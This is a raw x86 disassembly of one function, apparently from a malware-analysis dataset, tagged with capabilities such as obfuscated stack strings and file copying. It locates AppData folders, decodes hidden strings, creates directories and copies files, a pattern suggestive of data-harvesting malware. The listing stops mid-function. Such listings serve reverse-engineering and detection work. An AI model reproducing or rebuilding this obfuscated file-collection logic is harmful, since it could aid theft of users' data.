Function at 0x410dd0
Capabilities:
Contain obfuscated stackstrings
Copy file
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x502e33
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xe30
push ebx
push esi
push edi
mov edi, ecx
push 0x104
lea eax, [ebp - 0xd30]
mov dword [ebp - 4], 0
push 0
push eax
call fcn.004dde70
mov esi, dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebp - 0xd30]
add esp, 0xc
push eax
push 0
push 0
push 0x1a
push 0
call esi
push 0x104
lea eax, [ebp - 0xe38]
push 0
push eax
call fcn.004dde70
add esp, 0xc
lea eax, [ebp - 0xe38]
push eax
push 0
push 0
push 0x1c
push 0
call esi
movaps xmm0, xmmword [0x525610]
lea ecx, [ebp - 0x2e3]
movups xmmword [ebp - 0x2e3], xmm0
mov dword [ebp - 0x2d3], 0x6067776b
mov word [ebp - 0x2cf], 0x6d
mov byte [ebp - 0x2cd], 1
call fcn.00462170
push dword [ebp - 0x14]
lea ecx, [ebp - 0x8b0]
call fcn.004027f0
lea ecx, [ebp - 0x2e3]
mov byte [ebp - 4], 1
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410ea0
sub ecx, edx
lea eax, [ebp - 0x2e3]
push ecx
push eax
lea ecx, [ebp - 0x8b0]
call fcn.00402810
lea eax, [ebp - 0x8b0]
mov byte [ebp - 4], 2
push eax
lea edx, [ebp - 0xd30]
lea ecx, [ebp - 0x898]
call fcn.00468d20
add esp, 4
lea ecx, [ebp - 0x8b0]
mov byte [ebp - 4], 4
call fcn.00402660
lea ecx, [ebp - 0x898]
call fcn.004027a0
mov ecx, eax
call fcn.0040b9d0
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test al, al
je 0x410ff9
lea ecx, [ebp - 0xe7]
mov dword [ebp - 0xe7], 0x9882b4a8
mov dword [ebp - 0xe3], 0x999095
mov byte [ebp - 0xdf], 1
call fcn.0040b3b0
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x5f0]
call fcn.00468c00
add esp, 4
lea ecx, [ebp - 0x5f0]
mov byte [ebp - 4], 5
call fcn.004027a0
mov ecx, eax
call fcn.0040b9d0
test al, al
jne 0x410f70
push 0
lea ecx, [ebp - 0x5f0]
call fcn.004027a0
push eax
call esi
test eax, eax
je 0x410fea
sub esp, 0x18
lea eax, [ebp - 0x5f0]
mov ecx, esp
mov dword [ebp - 0x14], esp
xor bl, bl
push eax
call fcn.00464ec0
sub esp, 0x18
mov byte [ebp - 4], 6
lea eax, [ebp - 0x898]
mov ecx, esp
push eax
call fcn.00464ec0
mov cl, bl
mov byte [ebp - 4], 5
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x410fb2
mov byte [edi], 1
jmp 0x410fea
lea ecx, [ebp - 0x5f0]
call fcn.004027a0
push eax
lea ecx, [ebp - 0xa78]
call fcn.00402700
push 0
mov dl, 1
mov byte [ebp - 4], 7
lea ecx, [ebp - 0xa78]
call fcn.0040ba90
add esp, 4
lea ecx, [ebp - 0xa78]
call fcn.00402660
lea ecx, [ebp - 0x5f0]
mov byte [ebp - 4], 4
call fcn.00402660
movaps xmm0, xmmword [0x525690]
lea ecx, [ebp - 0x387]
movups xmmword [ebp - 0x387], xmm0
mov word [ebp - 0x377], 0x77
mov byte [ebp - 0x375], 1
call fcn.00462140
push dword [ebp - 0x10]
lea ecx, [ebp - 0x8c8]
call fcn.004027f0
lea ecx, [ebp - 0x387]
mov byte [ebp - 4], 8
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411040
sub ecx, edx
lea eax, [ebp - 0x387]
push ecx
push eax
lea ecx, [ebp - 0x8c8]
call fcn.00402810
lea eax, [ebp - 0x8c8]
mov byte [ebp - 4], 9
push eax
lea edx, [ebp - 0xd30]
lea ecx, [ebp - 0x880]
call fcn.00468d20
add esp, 4
lea ecx, [ebp - 0x8c8]
mov byte [ebp - 4], 0xb
call fcn.00402660
lea ecx, [ebp - 0x880]
call fcn.004027a0
mov ecx, eax
call fcn.0040b9d0
test al, al
je 0x41119c
lea ecx, [ebp - 0x141]
mov dword [ebp - 0x141], 0x929ab0a8
mov dword [ebp - 0x13d], 0x8e888d9b
mov word [ebp - 0x139], 0x91
mov byte [ebp - 0x137], 1
call fcn.0040a0a0
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x5d8]
call fcn.00468c00
add esp, 4
lea ecx, [ebp - 0x5d8]
mov byte [ebp - 4], 0xc
call fcn.004027a0
mov ecx, eax
call fcn.0040b9d0
test al, al
jne 0x411113
push 0
lea ecx, [ebp - 0x5d8]
call fcn.004027a0
push eax
call esi
test eax, eax
je 0x41118d
sub esp, 0x18
lea eax, [ebp - 0x5d8]
mov ecx, esp
mov dword [ebp - 0x10], esp
xor bl, bl
push eax
call fcn.00464ec0
sub esp, 0x18
mov byte [ebp - 4], 0xd
lea eax, [ebp - 0x880]
mov ecx, esp
push eax
call fcn.00464ec0
mov cl, bl
mov byte [ebp - 4], 0xc
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x411155
mov byte [edi], 1
jmp 0x41118d
lea ecx, [ebp - 0x5d8]
call fcn.004027a0
push eax
lea ecx, [ebp - 0xa90]
call fcn.00402700
push 0
mov dl, 1
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0xa90]
call fcn.0040ba90
add esp, 4
lea ecx, [ebp - 0xa90]
call fcn.00402660
lea ecx, [ebp - 0x5d8]
mov byte [ebp - 4], 0xb
call fcn.00402660
movaps xmm0, xmmword [0x5254c0]
lea ecx, [ebp - 0x311]
movups xmmword [ebp - 0x311], xmm0
mov dword [ebp - 0x301], 0x626a6965
mov word [ebp - 0x2fd], 0x7c
mov byte [ebp - 0x2fb], 1
call fcn.00462170
push dword [ebp - 0x10]
lea ecx, [ebp - 0x8e0]
call fcn.004027f0
lea ecx, [ebp - 0x311]
mov byte [ebp - 4], 0xf
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4111f0
sub ecx, edx
lea eax, [ebp - 0x311]
push ecx
push eax
lea ecx, [ebp - 0x8e0]
call fcn.00402810
lea eax, [ebp - 0x8e0]
mov byte [ebp - 4], 0x10
push eax
lea edx, [ebp - 0xd30]
lea ecx, [ebp - 0x868]
call fcn.00468d20
add esp, 4
lea ecx, [ebp - 0x8e0]
mov byte [ebp - 4], 0x12
call fcn.00402660
lea ecx, [ebp - 0x868]
call fcn.004027a0
mov ecx, eax
call fcn.0040b9d0
test al, al
je 0x411343
lea ecx, [ebp - 0xde]
mov dword [ebp - 0xde], 0x988eb0a8
mov dword [ebp - 0xda], 0x898c9c
mov byte [ebp - 0xd6], 1
call fcn.0040b3b0
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x608]
call fcn.00468c00
add esp, 4
lea ecx, [ebp - 0x608]
mov byte [ebp - 4], 0x13
call fcn.004027a0
mov ecx, eax
call fcn.0040b9d0
test al, al
jne 0x4112ba
push 0
lea ecx, [ebp - 0x608]
call fcn.004027a0
push eax
call esi
test eax, eax
je 0x411334
sub esp, 0x18
lea eax, [ebp - 0x608]
mov ecx, esp
mov dword [ebp - 0x10], esp
xor bl, bl
push eax
call fcn.00464ec0
sub esp, 0x18
mov byte [ebp - 4], 0x14
lea eax, [ebp - 0x868]
mov ecx, esp
push eax
call fcn.00464ec0
mov cl, bl
mov byte [ebp - 4], 0x13
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x4112fc
mov byte [edi], 1
jmp 0x411334
lea ecx, [ebp - 0x608]
call fcn.004027a0
push eax
lea ecx, [ebp - 0xaa8]
call fcn.00402700
push 0
mov dl, 1
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0xaa8]
call fcn.0040ba90
add esp, 4
lea ecx, [ebp - 0xaa8]
call fcn.00402660
lea ecx, [ebp - 0x608]
mov byte [ebp - 4], 0x12
call fcn.00402660
movaps xmm0, xmmword [0x524960]
lea ecx, [ebp - 0x2fa]
movups xmmword [ebp - 0x2fa], xmm0
mov dword [ebp - 0x2ea], 0x73636968
mov word [ebp - 0x2e6], 0x7b
mov byte [ebp - 0x2e4], 1
call fcn.00462170
push dword [ebp - 0x10]
lea ecx, [ebp - 0x6b8]
call fcn.004027f0
lea ecx, [ebp - 0x2fa]
mov byte [ebp - 4], 0x16
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411391
sub ecx, edx
lea eax, [ebp - 0x2fa]
push ecx
push eax
lea ecx, [ebp - 0x6b8]
call fcn.00402810
lea eax, [ebp - 0x6b8]
mov byte [ebp - 4], 0x17
push eax
lea edx, [ebp - 0xd30]
lea ecx, [ebp - 0x850]
call fcn.00468d20
add esp, 4
lea ecx, [ebp - 0x6b8]
mov byte [ebp - 4], 0x19
call fcn.00402660
lea ecx, [ebp - 0x850]
call fcn.004027a0
mov ecx, eax
call fcn.0040b9d0
test al, al
je 0x4114f0
lea ecx, [ebp - 0x1dc]
mov dword [ebp - 0x1dc], 0x929ab0a8
mov dword [ebp - 0x1d8], 0x8e888d9b
mov dword [ebp - 0x1d4], 0xbcaab191
mov word [ebp - 0x1d0], 0x100
call fcn.0040e910
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x500]
call fcn.00468c00
add esp, 4
lea ecx, [ebp - 0x500]
mov byte [ebp - 4], 0x1a
call fcn.004027a0
mov ecx, eax
call fcn.0040b9d0
test al, al
jne 0x411467
push 0
lea ecx, [ebp - 0x500]
call fcn.004027a0
push eax
call esi
test eax, eax
je 0x4114e1
sub esp, 0x18
lea eax, [ebp - 0x500]
mov ecx, esp
mov dword [ebp - 0x10], esp
xor bl, bl
push eax
call fcn.00464ec0
sub esp, 0x18
mov byte [ebp - 4], 0x1b
lea eax, [ebp - 0x850]
mov ecx, esp
push eax
call fcn.00464ec0
mov cl, bl
mov byte [ebp - 4], 0x1a
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x4114a9
mov byte [edi], 1
jmp 0x4114e1
lea ecx, [ebp - 0x500]
call fcn.004027a0
push eax
lea ecx, [ebp - 0xac0]
call fcn.00402700
push 0
mov dl, 1
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0xac0]
call fcn.0040ba90
add esp, 4
lea ecx, [ebp - 0xac0]
call fcn.00402660
lea ecx, [ebp - 0x500]
mov byte [ebp - 4], 0x19
call fcn.00402660
movaps xmm0, xmmword [0x523e80]
lea ecx, [ebp - 0x3d2]
movups xmmword [ebp - 0x3d2], xmm0
mov byte [ebp - 0x3c2], 1
call fcn.00461fc0
push dword [ebp - 0x10]
lea ecx, [ebp - 0x6d0]
call fcn.004027f0
lea ecx, [ebp - 0x3d2]
mov byte [ebp - 4], 0x1d
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411530
sub ecx, edx
lea eax, [ebp - 0x3d2]
push ecx
push eax
lea ecx, [ebp - 0x6d0]
call fcn.00402810
lea eax, [ebp - 0x6d0]
mov byte [ebp - 4], 0x1e
push eax
lea edx, [ebp - 0xd30]
lea ecx, [ebp - 0x838]
call fcn.00468d20
add esp, 4
lea ecx, [ebp - 0x6d0]
mov byte [ebp - 4], 0x20
call fcn.00402660
lea ecx, [ebp - 0x838]
call fcn.004027a0
mov ecx, eax
call fcn.0040b9d0
test al, al
je 0x411683
lea ecx, [ebp - 0xf0]
mov dword [ebp - 0xf0], 0x9999b8a8
mov dword [ebp - 0xec], 0x958b9d
mov byte [ebp - 0xe8], 1
call fcn.0040b3b0
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x458]
call fcn.00468c00
add esp, 4
lea ecx, [ebp - 0x458]
mov byte [ebp - 4], 0x21
call fcn.004027a0
mov ecx, eax
call fcn.0040b9d0
test al, al
jne 0x4115fa
push 0
lea ecx, [ebp - 0x458]
call fcn.004027a0
push eax
call esi
test eax, eax
je 0x411674
sub esp, 0x18
lea eax, [ebp - 0x458]
mov ecx, esp
mov dword [ebp - 0x10], esp
xor bl, bl
push eax
call fcn.00464ec0
sub esp, 0x18
mov byte [ebp - 4], 0x22
lea eax, [ebp - 0x838]
mov ecx, esp
push eax
call fcn.00464ec0
mov cl, bl
mov byte [ebp - 4], 0x21
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x41163c
mov byte [edi], 1
jmp 0x411674
lea ecx, [ebp - 0x458]
call fcn.004027a0
push eax
lea ecx, [ebp - 0x8f8]
call fcn.00402700
push 0
mov dl, 1
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x8f8]
call fcn.0040ba90
add esp, 4
lea ecx, [ebp - 0x8f8]
call fcn.00402660
lea ecx, [ebp - 0x458]
mov byte [ebp - 4], 0x20
call fcn.00402660
movaps xmm0, xmmword [0x525880]
lea ecx, [ebp - 0x39a]
movups xmmword [ebp - 0x39a], xmm0
mov word [ebp - 0x38a], 0x7c
mov byte [ebp - 0x388], 1
call fcn.00462140
push dword [ebp - 0x10]
lea ecx, [ebp - 0x6e8]
call fcn.004027f0
lea ecx, [ebp - 0x39a]
mov byte [ebp - 4], 0x24
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4116c7
sub ecx, edx
lea eax, [ebp - 0x39a]
push ecx
push eax
lea ecx, [ebp - 0x6e8]
call fcn.00402810
lea eax, [ebp - 0x6e8]
mov byte [ebp - 4], 0x25
push eax
lea edx, [ebp - 0xd30]
lea ecx, [ebp - 0x35c]
call fcn.00468d20
add esp, 4
lea ecx, [ebp - 0x6e8]
mov byte [ebp - 4], 0x27
call fcn.00402660
lea ecx, [ebp - 0x35c]
call fcn.004027a0
mov ecx, eax
call fcn.0040b9d0
test al, al
je 0x411c7e
lea ecx, [ebp - 0x1f9]
mov dword [ebp - 0x1f9], 0x8f97bfa8
mov dword [ebp - 0x1f5], 0x92b6d980
mov dword [ebp - 0x1f1], 0x8b8c989e
mov word [ebp - 0x1ed], 0x79
mov byte [ebp - 0x1eb], 1
call fcn.0040a210
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x3ec]
call fcn.00468c00
add esp, 4
lea ecx, [ebp - 0x3ec]
mov byte [ebp - 4], 0x28
call fcn.004027a0
mov ecx, eax
call fcn.0040b9d0
test al, al
jne 0x4117a8
push 0
lea ecx, [ebp - 0x3ec]
call fcn.004027a0
push eax
call esi
test eax, eax
je 0x411c6f
lea ecx, [ebp - 0x16e]
mov dword [ebp - 0x16e], 0x9398bca8
mov dword [ebp - 0x16a], 0x9f9f819d
mov dword [ebp - 0x166], 0x100bfb8
call fcn.0040e8e0
push eax
lea edx, [ebp - 0x35c]
lea ecx, [ebp - 0xbe0]
call fcn.00468c00
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x29
call fcn.004027a0
mov ecx, eax
call fcn.0040b9d0
lea ecx, [ebp - 0xbe0]
mov byte [ebp - 4], 0x28
mov bl, al
call fcn.00402660
test bl, bl
je 0x41193e
lea ecx, [ebp - 0x17a]
mov dword [ebp - 0x17a], 0x9398bca8
mov dword [ebp - 0x176], 0x9f9f819d
mov dword [ebp - 0x172], 0x100bfb8
call fcn.0040e8e0
push eax
lea edx, [ebp - 0x3ec]
lea ecx, [ebp - 0x470]
call fcn.00468c00
add esp, 4
lea ecx, [ebp - 0x470]
mov byte [ebp - 4], 0x2a
call fcn.004027a0
mov ecx, eax
call fcn.0040b9d0
test al, al
jne 0x411881
push 0
lea ecx, [ebp - 0x470]
call fcn.004027a0
push eax
call esi
test eax, eax
je 0x41192f
sub esp, 0x18
lea eax, [ebp - 0x470]
mov ecx, esp
mov dword [ebp - 0x10], esp
xor bl, bl
push eax
call fcn.00464ec0
sub esp, 0x18
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x186]
mov dword [ebp - 0x186], 0x9398bca8
mov dword [ebp - 0x182], 0x9f9f819d
mov esi, esp
mov dword [ebp - 0x17e], 0x100bfb8
call fcn.0040e8e0
push eax
lea edx, [ebp - 0x35c]
mov ecx, esi
call fcn.00468c00
add esp, 4
mov byte [ebp - 4], 0x2a
mov cl, bl
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x4118f1
mov byte [edi], 1
jmp 0x411929
lea ecx, [ebp - 0x470]
call fcn.004027a0
push eax
lea ecx, [ebp - 0x910]
call fcn.00402700
push 0
mov dl, 1
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x910]
call fcn.0040ba90
add esp, 4
lea ecx, [ebp - 0x910]
call fcn.00402660
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x470]
mov byte [ebp - 4], 0x28
call fcn.00402660
lea ecx, [ebp - 0x218]
mov dword [ebp - 0x218], 0x9499b9a8
mov dword [ebp - 0x214], 0xa8da9599
mov dword [ebp - 0x210], 0x9e8c9288
mov dword [ebp - 0x20c], 0x1006467
call fcn.0040ea30
push eax
lea edx, [ebp - 0x35c]
lea ecx, [ebp - 0xbf8]
call fcn.00468c00
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x2d
call fcn.004027a0
mov ecx, eax
call fcn.0040b9d0
lea ecx, [ebp - 0xbf8]
mov byte [ebp - 4], 0x28
mov bl, al
call fcn.00402660
test bl, bl
je 0x411af2
lea ecx, [ebp - 0x228]
mov dword [ebp - 0x228], 0x9499b9a8
mov dword [ebp - 0x224], 0xa8da9599
mov dword [ebp - 0x220], 0x9e8c9288
mov dword [ebp - 0x21c], 0x1006467
call fcn.0040ea30
push eax
lea edx, [ebp - 0x3ec]
lea ecx, [ebp - 0x488]
call fcn.00468c00
add esp, 4
lea ecx, [ebp - 0x488]
mov byte [ebp - 4], 0x2e
call fcn.004027a0
mov ecx, eax
call fcn.0040b9d0
test al, al
jne 0x411a2b
push 0
lea ecx, [ebp - 0x488]
call fcn.004027a0
push eax
call esi
test eax, eax
je 0x411ae3
sub esp, 0x18
lea eax, [ebp - 0x488]
mov ecx, esp
mov dword [ebp - 0x10], esp
xor bl, bl
push eax
call fcn.00464ec0
mov byte [ebp - 4], 0x2f
lea ecx, [ebp - 0x238]
sub esp, 0x18
mov dword [ebp - 0x238], 0x9499b9a8
mov dword [ebp - 0x234], 0xa8da9599
mov esi, esp
mov dword [ebp - 0x230], 0x9e8c9288
mov dword [ebp - 0x22c], 0x1006467
call fcn.0040ea30
push eax
lea edx, [ebp - 0x35c]
mov ecx, esi
call fcn.00468c00
add esp, 4
mov byte [ebp - 4], 0x2e
mov cl, bl
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x411aa5
mov byte [edi], 1
jmp 0x411add
lea ecx, [ebp - 0x488]
call fcn.004027a0
push eax
lea ecx, [ebp - 0x928]
call fcn.00402700
push 0
mov dl, 1
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x928]
call fcn.0040ba90
add esp, 4
lea ecx, [ebp - 0x928]
call fcn.00402660
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x488]
mov byte [ebp - 4], 0x28
call fcn.00402660
movaps xmm0, xmmword [0x524ad0]
lea ecx, [ebp - 0x67a]
movups xmmword [ebp - 0x67a], xmm0
mov word [ebp - 0x66a], 0x100
call fcn.0040e850
push eax
lea edx, [ebp - 0x35c]
lea ecx, [ebp - 0xc10]
call fcn.00468c00
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x31
call fcn.004027a0
mov ecx, eax
call fcn.0040b9d0
lea ecx, [ebp - 0xc10]
mov byte [ebp - 4], 0x28
mov bl, al
call fcn.00402660
test bl, bl
je 0x411c6f
movaps xmm0, xmmword [0x524ad0]
lea ecx, [ebp - 0x68c]
movups xmmword [ebp - 0x68c], xmm0
mov word [ebp - 0x67c], 0x100
call fcn.0040e850
push eax
lea edx, [ebp - 0x3ec]
lea ecx, [ebp - 0x4a0]
call fcn.00468c00
add esp, 4
lea ecx, [ebp - 0x4a0]
mov byte [ebp - 4], 0x32
call fcn.004027a0
mov ecx, eax
call fcn.0040b9d0
test al, al
jne 0x411bbd
push 0
lea ecx, [ebp - 0x4a0]
call fcn.004027a0
push eax
call esi
test eax, eax
je 0x411c64
sub esp, 0x18
lea eax, [ebp - 0x4a0]
mov ecx, esp
mov dword [ebp - 0x10], esp
xor bl, bl
push eax
call fcn.00464ec0
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x668]
movaps xmm0, xmmword [0x524ad0]
sub esp, 0x18
movups xmmword [ebp - 0x668], xmm0
mov word [ebp - 0x658], 0x100
mov esi, esp
call fcn.0040e850
push eax
lea edx, [ebp - 0x35c]
mov ecx, esi
call fcn.00468c00
add esp, 4
mov byte [ebp - 4], 0x32
mov cl, bl
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x411c26
mov byte [edi], 1
jmp 0x411c5e
lea ecx, [ebp - 0x4a0]
call fcn.004027a0
push eax
lea ecx, [ebp - 0x940]
call fcn.00402700
push 0
mov dl, 1
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x940]
call fcn.0040ba90
add esp, 4
lea ecx, [ebp - 0x940]
call fcn.00402660
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x4a0]
call fcn.00402660
lea ecx, [ebp - 0x3ec]
mov byte [ebp - 4], 0x27
call fcn.00402660
movaps xmm0, xmmword [0x525370]
lea ecx, [ebp - 0x3c1]
movups xmmword [ebp - 0x3c1], xmm0
mov dword [ebp - 0x3b1], 0x636265
mov byte [ebp - 0x3ad], 1
call fcn.0040e970
push eax
lea ecx, [ebp - 0xc28]
call fcn.00402700
push eax
lea edx, [ebp - 0xd30]
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0x820]
call fcn.00468d20
add esp, 4
lea ecx, [ebp - 0xc28]
mov byte [ebp - 4], 0x37
call fcn.00402660
lea ecx, [ebp - 0x820]
call fcn.004027a0
mov ecx, eax
call fcn.0040b9d0
test al, al
je 0x411dd8
lea ecx, [ebp - 0x6d]
mov dword [ebp - 0x6d], 0x8f97bfa8
mov word [ebp - 0x69], 0x80
mov byte [ebp - 0x67], 1
call fcn.004094f0
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x4b8]
call fcn.00468c00
add esp, 4
lea ecx, [ebp - 0x4b8]
mov byte [ebp - 4], 0x38
call fcn.004027a0
mov ecx, eax
call fcn.0040b9d0
test al, al
jne 0x411d4f
push 0
lea ecx, [ebp - 0x4b8]
call fcn.004027a0
push eax
call esi
test eax, eax
je 0x411dc9
sub esp, 0x18
lea eax, [ebp - 0x4b8]
mov ecx, esp
mov dword [ebp - 0x10], esp
xor bl, bl
push eax
call fcn.00464ec0
sub esp, 0x18
mov byte [ebp - 4], 0x39
lea eax, [ebp - 0x820]
mov ecx, esp
push eax
call fcn.00464ec0
mov cl, bl
mov byte [ebp - 4], 0x38
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x411d91
mov byte [edi], 1
jmp 0x411dc9
lea ecx, [ebp - 0x4b8]
call fcn.004027a0
push eax
lea ecx, [ebp - 0x958]
call fcn.00402700
push 0
mov dl, 1
mov byte [ebp - 4], 0x3a
lea ecx, [ebp - 0x958]
call fcn.0040ba90
add esp, 4
lea ecx, [ebp - 0x958]
call fcn.00402660
lea ecx, [ebp - 0x4b8]
mov byte [ebp - 4], 0x37
call fcn.00402660
movaps xmm0, xmmword [0x524ea0]
lea ecx, [ebp - 0x32b]
movups xmmword [ebp - 0x32b], xmm0
mov dword [ebp - 0x31b], 0x6b677258
mov dword [ebp - 0x317], 0x787e6c64
mov word [ebp - 0x313], 0x100
call fcn.0040a0d0
push eax
lea ecx, [ebp - 0xad8]
call fcn.00402700
push eax
lea edx, [ebp - 0xe38]
mov byte [ebp - 4], 0x3b
lea ecx, [ebp - 0x808]
call fcn.00468d20
add esp, 4
lea ecx, [ebp - 0xad8]
mov byte [ebp - 4], 0x3d
call fcn.00402660
lea ecx, [ebp - 0x808]
call fcn.004027a0
mov ecx, eax
call fcn.0040b9d0
test al, al
je 0x411f4d
lea ecx, [ebp - 0x12c]
mov dword [ebp - 0x12c], 0x9e99b6a8
mov dword [ebp - 0x128], 0x92979696
mov word [ebp - 0x124], 0x100
call fcn.0040e8b0
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x4d0]
call fcn.00468c00
add esp, 4
lea ecx, [ebp - 0x4d0]
mov byte [ebp - 4], 0x3e
call fcn.004027a0
mov ecx, eax
call fcn.0040b9d0
test al, al
jne 0x411ec4
push 0
lea ecx, [ebp - 0x4d0]
call fcn.004027a0
push eax
call esi
test eax, eax
je 0x411f3e
sub esp, 0x18
lea eax, [ebp - 0x4d0]
mov ecx, esp
mov dword [ebp - 0x10], esp
xor bl, bl
push eax
call fcn.00464ec0
sub esp, 0x18
mov byte [ebp - 4], 0x3f
lea eax, [ebp - 0x808]
mov ecx, esp
push eax
call fcn.00464ec0
mov cl, bl
mov byte [ebp - 4], 0x3e
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x411f06
mov byte [edi], 1
jmp 0x411f3e
lea ecx, [ebp - 0x4d0]
call fcn.004027a0
push eax
lea ecx, [ebp - 0x970]
call fcn.00402700
push 0
mov dl, 1
mov byte [ebp - 4], 0x40
lea ecx, [ebp - 0x970]
call fcn.0040ba90
add esp, 4
lea ecx, [ebp - 0x970]
call fcn.00402660
lea ecx, [ebp - 0x4d0]
mov byte [ebp - 4], 0x3d
call fcn.00402660
lea ecx, [ebp - 0x96]
mov dword [ebp - 0x96], 0x9a84b4a8
mov dword [ebp - 0x92], 0x838b97
mov byte [ebp - 0x8e], 1
call fcn.0040b3b0
push eax
lea ecx, [ebp - 0xaf0]
call fcn.00402700
push eax
lea edx, [ebp - 0xd30]
mov byte [ebp - 4], 0x41
lea ecx, [ebp - 0x7f0]
call fcn.00468d20
add esp, 4
lea ecx, [ebp - 0xaf0]
mov byte [ebp - 4], 0x43
call fcn.00402660
lea ecx, [ebp - 0x7f0]
call fcn.004027a0
mov ecx, eax
call fcn.0040b9d0
test al, al
je 0x4120b0
lea ecx, [ebp - 0x9f]
mov dword [ebp - 0x9f], 0x9a84b4a8
mov dword [ebp - 0x9b], 0x838b97
mov byte [ebp - 0x97], 1
call fcn.0040b3b0
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x4e8]
call fcn.00468c00
add esp, 4
lea ecx, [ebp - 0x4e8]
mov byte [ebp - 4], 0x44
call fcn.004027a0
mov ecx, eax
call fcn.0040b9d0
test al, al
jne 0x412027
push 0
lea ecx, [ebp - 0x4e8]
call fcn.004027a0
push eax
call esi
test eax, eax
je 0x4120a1
sub esp, 0x18
lea eax, [ebp - 0x4e8]
mov ecx, esp
mov dword [ebp - 0x10], esp
xor bl, bl
push eax
call fcn.00464ec0
sub esp, 0x18
mov byte [ebp - 4], 0x45
lea eax, [ebp - 0x7f0]
mov ecx, esp
push eax
call fcn.00464ec0
mov cl, bl
mov byte [ebp - 4], 0x44
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x412069
mov byte [edi], 1
jmp 0x4120a1
lea ecx, [ebp - 0x4e8]
call fcn.004027a0
push eax
lea ecx, [ebp - 0x988]
call fcn.00402700
push 0
mov dl, 1
mov byte [ebp - 4], 0x46
lea ecx, [ebp - 0x988]
call fcn.0040ba90
add esp, 4
lea ecx, [ebp - 0x988]
call fcn.00402660
lea ecx, [ebp - 0x4e8]
mov byte [ebp - 4], 0x43
call fcn.00402660
movaps xmm0, xmmword [0x525170]
lea ecx, [ebp - 0x296]
movups xmmword [ebp - 0x296], xmm0
mov dword [ebp - 0x286], 0x7368606d
mov dword [ebp - 0x282], 0x676b5e54
mov dword [ebp - 0x27e], 0x7c7a6860
mov word [ebp - 0x27a], 0x100
call fcn.00461d20
push dword [ebp - 0x10]
lea ecx, [ebp - 0x700]
call fcn.004027f0
lea ecx, [ebp - 0x296]
mov byte [ebp - 4], 0x47
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412110
sub ecx, edx
lea eax, [ebp - 0x296]
push ecx
push eax
lea ecx, [ebp - 0x700]
call fcn.00402810
lea eax, [ebp - 0x700]
mov byte [ebp - 4], 0x48
push eax
lea edx, [ebp - 0xd30]
lea ecx, [ebp - 0x7d8]
call fcn.00468d20
add esp, 4
lea ecx, [ebp - 0x700]
mov byte [ebp - 4], 0x4a
call fcn.00402660
lea ecx, [ebp - 0x7d8]
call fcn.004027a0
mov ecx, eax
call fcn.0040b9d0
test al, al
je 0x412263
lea ecx, [ebp - 0xa8]
mov dword [ebp - 0xa8], 0x8497a2a8
mov dword [ebp - 0xa4], 0x939b99
mov byte [ebp - 0xa0], 1
call fcn.0040b3b0
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x620]
call fcn.00468c00
add esp, 4
lea ecx, [ebp - 0x620]
mov byte [ebp - 4], 0x4b
call fcn.004027a0
mov ecx, eax
call fcn.0040b9d0
test al, al
jne 0x4121da
push 0
lea ecx, [ebp - 0x620]
call fcn.004027a0
push eax
call esi
test eax, eax
je 0x412254
sub esp, 0x18
lea eax, [ebp - 0x620]
mov ecx, esp
mov dword [ebp - 0x10], esp
xor bl, bl
push eax
call fcn.00464ec0
sub esp, 0x18
mov byte [ebp - 4], 0x4c
lea eax, [ebp - 0x7d8]
mov ecx, esp
push eax
call fcn.00464ec0
mov cl, bl
mov byte [ebp - 4], 0x4b
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x41221c
mov byte [edi], 1
jmp 0x412254
